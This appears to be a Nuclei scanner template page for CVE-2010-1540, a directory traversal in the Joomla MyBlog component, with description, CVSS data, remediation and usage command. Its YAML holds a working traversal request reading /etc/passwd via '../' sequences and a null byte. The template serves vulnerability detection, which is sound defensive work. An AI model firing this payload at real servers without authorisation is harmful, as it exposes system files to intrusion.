Joomla! Component com_blog - Directory Traversal

ID: CVE-2010-1540

Severity: medium

Author: daffainfo

Tags: cve2010,cve,joomla,lfi,edb,myblog

Description

A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.

YAML Source

id: CVE-2010-1540

info:
  name: Joomla! Component com_blog - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in index.php in the MyBlog (com_myblog) component 3.0.329 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the task parameter.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Joomla! to fix the directory traversal vulnerability in com_blog component.
  reference:
    - https://www.exploit-db.com/exploits/11625
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1540
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1540
    cwe-id: CWE-22
    epss-score: 0.0045
    epss-percentile: 0.72402
    cpe: cpe:2.3:a:myblog:com_myblog:3.0.329:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: myblog
    product: com_myblog
  tags: cve2010,cve,joomla,lfi,edb,myblog

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f6b4622cbf235b6cd2e98e82dad2994a155ba9e92a980ef11b90f6bf76cc8658022100ba8ddf706e5c2e1885c212df6d5da4fde2c92a59b50d5826daab2c551efafb95:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-1540.yaml"

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